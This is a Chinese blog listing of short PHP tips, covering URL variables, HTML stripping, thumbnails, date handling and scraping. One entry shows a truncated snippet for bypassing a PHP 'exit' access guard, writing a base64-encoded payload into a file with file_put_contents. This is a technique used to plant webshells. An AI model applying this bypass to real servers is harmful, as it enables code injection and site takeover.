
Php
文章平均质量分 89
paulfzm
这个作者很懒,什么都没留下…
展开
-
获取当前URL地址例子
1,$_SERVER["QUERY_STRING"]说明:查询(query)的字符串2,$_SERVER["REQUEST_URI"]说明:访问此页面所需的URI3,$_SERVER["SCRIPT_NAME"]说明:包含当前脚本的路径4,$_SERVER["PHP_SELF"]说明:当前正在执行脚本的文件名实例:1,http://www.biuuu.com/ (直接打开...原创 2010-09-04 15:49:19 · 290 阅读 · 0 评论 -
php 获取当前域名和路径
$_SERVER['REQUEST_URI'];//获取当前域名的后缀 $_SERVER['HTTP_HOST'];//获取当前域名 dirname(__FILE__);//获取当前文件的物理路径 dirname(__FILE__)."/../";//获取当前文件的上一级物理路径...原创 2011-06-04 12:05:40 · 446 阅读 · 0 评论 -
php 生成静态页
我经常会在网上看到有人问怎么将整个动态的网站静态化,其实实现的方法很简单。<?php //在你的开始处加入 ob_start(); ob_start(); //以下是你的代码 //在结尾加入 ob_end_clean(),并把本页输出到一个变量中 $temp = ob_get_contents(); ob_end_clean(); //写入文件 ...原创 2010-11-11 13:36:03 · 86 阅读 · 0 评论 -
php 服务器跳转代码
<?php Header("Location:http://www.domain.com");?>原创 2010-11-28 22:13:53 · 178 阅读 · 0 评论 -
php 获取当前目录子文件夹
$handle = opendir('/tmp');$arr = array();while($file = readdir($handle)){ $newpath="/tmp/".$file; if(is_dir($newpath)) $arr[] = $newpath ;} print_r($arr);原创 2010-12-03 19:28:30 · 167 阅读 · 0 评论 -
php 去除html标签 和 css样式
$content = preg_replace("/<a[^>]*>/i", "", $content); $content = preg_replace("/<\/a>/i", "", $content); $content = preg_replace("/<div[^>]*>/i原创 2010-12-10 18:54:56 · 630 阅读 · 0 评论 -
php 字符串大小写转换
ucwords(string) //每个单词首字母大写ucfirst(string) //字符串第一个字母大写strtolower(string) //字符串转换成小写strtoupper(string) //字符串转换成大写原创 2011-11-16 17:37:41 · 95 阅读 · 0 评论 -
PHP生成高质量的缩略图
/** * 生成高质量的缩略图函数 * * @param 原图片地址 $img_tempname * @param 缩略图最大宽度 $max_width * @param 生成缩略图地址 $dst_url * @return unknown */public function createDstImage($img_tempname,$max_width,$d...原创 2012-06-06 16:01:51 · 117 阅读 · 0 评论 -
用php自带函数去除html标记
strip_tags 去掉 HTML 及 PHP 的标记。 语法: string strip_tags(string str); 传回值: 字串 函式种类: 资料处理 内容说明 本函式可去掉字串中包含的任何 HTML 及 PHP 的标记字串。若是字串的 HTML 及 PHP 标签原来就有错,例如少了大于的符号,则也会传回错误。而本函式和 fgetss() 有...原创 2012-06-07 02:03:45 · 85 阅读 · 0 评论 -
php获取文件创建时间、修改时间
php获取文件创建时间、修改时间filemtime ( string filename )返回文件上次被修改的时间,出错时返回 FALSE。时间以 Unix 时间戳的方式返回,可用于 date()。例如:$a=filemtime("log.txt"); echo "修改时间:".date("Y-m-d H:i:s",$a)."filectime ( s...原创 2012-06-27 19:05:51 · 108 阅读 · 0 评论 -
php 获取时间今天明天昨天时间戳
php 获取时间今天明天昨天时间戳2011-06-30 9:46<?phpecho "今天:".date("Y-m-d")."<br>"; echo "昨天:".date("Y-m-d",strtotime("-1 day")), "<br>"; echo &q原创 2012-03-08 17:48:45 · 194 阅读 · 0 评论 -
php 上传限制
php 修改上传文件大小 (max_execution_time post_max_size)有些朋友要通过自己的网站后台,包括论坛,来上传一些文件,php一般为2m,或8m(以下我们按默认为2m),接下来就是来讲怎么修改上传文件大小的。 1.首先修改执行上传文件限制一般的文件上传,除非文件很小.就像一个5M的文件,很可能要超过一分钟才能上传完.但在php中,默认的该页最久...原创 2012-03-08 23:26:20 · 106 阅读 · 0 评论 -
绕过 <?PHP exit(’Access Denied’); ?> 限制
绕过 <?PHP exit(’Access Denied’); ?> 限制 <?php $shellcode=’PD9waHBpbmZvKCk7Pz4’;// base64_decode <?phpinfo();?> $endstr=’s’; $timestamp=$endstr.$shellcode; file_put...原创 2011-01-28 21:06:53 · 190 阅读 · 0 评论 -
php 判断常量、变量、函数是否存在
<?php/* 判断常量是否存在*/if (defined('CONSTANT1')) {echo CONSTANT1;}//判断变量是否存在if (isset($myvar)) {echo "$myvar.";}//判断函数是否存在if (function_exists('open')) {echo "存在函数open\n";} else {...原创 2010-10-28 17:15:23 · 155 阅读 · 0 评论 -
php startswith
/** * StartsWith * Tests if a text starts with an given string. * * @param $Haystack string * @param $Needle string * @return bool */function StartsWith($Haystack, $Needle){ // Recommende...原创 2010-10-26 22:24:09 · 210 阅读 · 0 评论 -
404.17 – Not Found
"HTTP Error 404.17 – Not Found – The requested content appears to be script and will not be served by the static file handler."…on Vista while trying to get PHP working under IIS7 with the stand...原创 2010-06-22 10:27:53 · 177 阅读 · 0 评论 -
php正则去除页面javascript
<?php$str = 'yes,<scRipt type="text/javascript"> var IKFromImport=false; </script>ok!';$text = preg_replace("'<script(.*?)<\/script>'is","",$str);//yes,o原创 2010-12-19 18:32:37 · 135 阅读 · 0 评论 -
php array_rand
<?php$a=array("a"=>"Dog","b"=>"Cat","c"=>"Horse");print_r(array_rand($a,2));?>原创 2010-12-31 10:58:10 · 105 阅读 · 0 评论 -
php 替换换行、内容方法
1.$content = trim(str_replace('\n', '', $content ));echo $content; 2.$content=preg_replace("/\s/","",$content);echo $content; 3.$content= trim(str_replace(array('<script type="text/...原创 2011-01-02 21:24:48 · 133 阅读 · 0 评论 -
php json 格式
<?php$arr = array( 'name' =>'名字', 'nick' => '深空', 'contact' => array( 'email' => 'shenkong at qq dot com', 'website' => 'http://www.test.com', ) ); $json_string =...原创 2011-01-03 18:58:07 · 109 阅读 · 0 评论 -
php 去掉字符串
今天项目中用到,去掉字符串中的最后一个字符原字符串1,2,3,4,5,6,去掉最后一个字符",",最终结果为1,2,3,4,5,6代码如下: $str = "1,2,3,4,5,6,"; $newstr = substr($str,0,strlen($str)-1);echo $newstr; 系统自带的函数也可实现这样的效果,两种方法: 1) substr...原创 2011-04-29 13:51:51 · 95 阅读 · 0 评论 -
php 获取别的页面内容
file_get_contents($url);原创 2011-05-16 12:02:58 · 82 阅读 · 0 评论 -
php小偷程序 代码
index.php<?php$con = file_get_contents("http://it.sohu.com/s2010/5651/s274087241/index.shtml");$preg="/·<a href=(.*) target=_blank>(.*)<\/a>/U";preg_match_all($preg,$con,...原创 2010-10-01 18:27:36 · 235 阅读 · 0 评论 -
mysql 创建视图view
create view location as select `call`.id as id, `city`.value as city, `region`.value as region, `others`.value as others from `call`left join `city` on (`call`.city=`city`.id) left join `region` ...原创 2010-10-05 13:22:40 · 147 阅读 · 0 评论 -
php 分割和合并数组函数
1.php分割数组函数$str = "Hello world. It's a beautiful day.";print_r (explode(" ",$str));输出:Array([0] => Hello[1] => world.[2] => It's[3] => a[4] => beautiful[5] => day.) 2.php合并...原创 2010-10-05 15:09:31 · 123 阅读 · 0 评论 -
php 获取时间毫秒
<?php/*** Simple function to replicate PHP 5 behaviour*/function microtime_float(){ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}$time_start = microti...原创 2010-10-26 02:46:26 · 140 阅读 · 0 评论 -
Snoopy 示例代码
include "Snoopy.class.php"; //$url = 'http://info.eqfc.cn';$snoopy = new Snoopy; $snoopy->fetch($url); //获取所有内容 //可选以下 //$snoopy->fetchtext($url); //获取文本内容(去掉html代码) //$snoopy-&g...原创 2013-02-21 10:59:14 · 290 阅读 · 0 评论